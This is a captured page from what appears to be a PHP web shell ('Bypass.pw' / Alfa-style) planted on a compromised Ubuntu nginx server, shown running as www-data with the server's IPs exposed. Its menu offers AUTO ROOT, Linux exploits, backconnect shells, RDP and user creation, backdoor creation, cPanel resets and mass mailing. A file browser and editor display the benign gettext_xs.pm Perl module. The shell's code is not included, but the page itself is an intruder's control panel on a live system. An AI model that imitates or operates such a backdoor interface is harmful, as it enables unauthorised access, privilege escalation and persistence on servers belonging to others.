Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Locale /
[ HOME SHELL ]
Name
Size
Permission
Action
Recode
[ DIR ]
drwxr-xr-x
RecodeData
[ DIR ]
drwxr-xr-x
Messages.pm
30.49
KB
-rw-r--r--
Recode.pm
9.81
KB
-rw-r--r--
RecodeData.pm
4.05
KB
-rw-r--r--
TextDomain.pm
35.97
KB
-rw-r--r--
Util.pm
34.47
KB
-rw-r--r--
gettext_dumb.pm
12.09
KB
-rw-r--r--
gettext_pp.pm
27.51
KB
-rw-r--r--
gettext_xs.pm
4.88
KB
-rw-r--r--
libintlFAQ.pod
11.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gettext_xs.pm
#! /bin/false # vim: tabstop=4 # Perl XS implementation of Uniforum message translation. # Copyright (C) 2002-2017 Guido Flohr <guido.flohr@cantanea.com>, # all rights reserved. # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. package Locale::gettext_xs; require DynaLoader; require Exporter; use vars qw (%EXPORT_TAGS @EXPORT_OK @ISA); %EXPORT_TAGS = (locale_h => [ qw ( gettext dgettext dcgettext ngettext dngettext dcngettext pgettext dpgettext dcpgettext npgettext dnpgettext dcnpgettext textdomain bindtextdomain bind_textdomain_codeset ) ], libintl_h => [ qw (LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES LC_ALL) ], ); @EXPORT_OK = qw (gettext dgettext dcgettext ngettext dngettext dcngettext pgettext dpgettext dcpgettext npgettext dnpgettext dcnpgettext textdomain bindtextdomain bind_textdomain_codeset nl_putenv setlocale LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES LC_ALL); @ISA = qw (Exporter DynaLoader); bootstrap Locale::gettext_xs; require File::Spec; # Reimplement pgettext functions sub pgettext ($$) { my ($msgctxt, $msgid) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid); return Locale::gettext_xs::_pgettext_aux ("", $msg_ctxt_id, $msgid, Locale::gettext_xs::LC_MESSAGES()); } sub dpgettext ($$$) { my ($domain, $msgctxt, $msgid) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid); return Locale::gettext_xs::_pgettext_aux ($domain, $msg_ctxt_id, $msgid, Locale::gettext_xs::LC_MESSAGES()); } sub dcpgettext ($$$$) { my ($domain, $msgctxt, $msgid, $category) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid); return Locale::gettext_xs::_pgettext_aux ($domain, $msg_ctxt_id, $msgid, $category); } # Reimplement npgettext functions sub npgettext ($$$$) { my ($msgctxt, $msgid1, $msgid2, $n) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid1); return Locale::gettext_xs::_npgettext_aux ("", $msg_ctxt_id, $msgid1, $msgid2, $n, Locale::gettext_xs::LC_MESSAGES()); } sub dnpgettext ($$$$$) { my ($domain, $msgctxt, $msgid1, $msgid2, $n) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid1); return Locale::gettext_xs::_npgettext_aux ($domain, $msg_ctxt_id, $msgid1, $msgid2, $n, Locale::gettext_xs::LC_MESSAGES()); } sub dcnpgettext ($$$$$$) { my ($domain, $msgctxt, $msgid1, $msgid2, $n, $category) = @_; my $msg_ctxt_id = join("\004", $msgctxt, $msgid1); return Locale::gettext_xs::_npgettext_aux ($domain, $msg_ctxt_id, $msgid1, $msgid2, $n, $category); } # Wrapper function that converts Perl paths to OS paths. sub bindtextdomain ($;$) { my ($domain, $directory) = @_; if (defined $domain && length $domain && defined $directory && length $directory) { return Locale::gettext_xs::_bindtextdomain ($domain, File::Spec->catdir ($directory)); } else { return &Locale::gettext_xs::_bindtextdomain; } } # In the XS version, making the prototype optional, does not work. sub textdomain (;$) { my $domain = shift; if (defined $domain) { return Locale::gettext_xs::_textdomain ($domain); } else { return Locale::gettext_xs::_textdomain (""); } } sub nl_putenv ($) { my ($envspec) = @_; return unless defined $envspec; return unless length $envspec; return if substr ($envspec, 0, 1) eq '='; my ($var, $value) = split /=/, $envspec, 2; if ($^O eq 'MSWin32') { $value = '' unless defined $value; return unless Locale::gettext_xs::_nl_putenv ("$var=$value") == 0; if (length $value) { $ENV{$var} = $value; } else { delete $ENV{$var}; } } else { if (defined $value) { $ENV{$var} = $value; } else { delete $ENV{$var}; } } return 1; } 1; __END__ Local Variables: mode: perl perl-indent-level: 4 perl-continued-statement-offset: 4 perl-continued-brace-offset: 0 perl-brace-offset: -4 perl-brace-imaginary-offset: 0 perl-label-offset: -4 tab-width: 4 End:
Close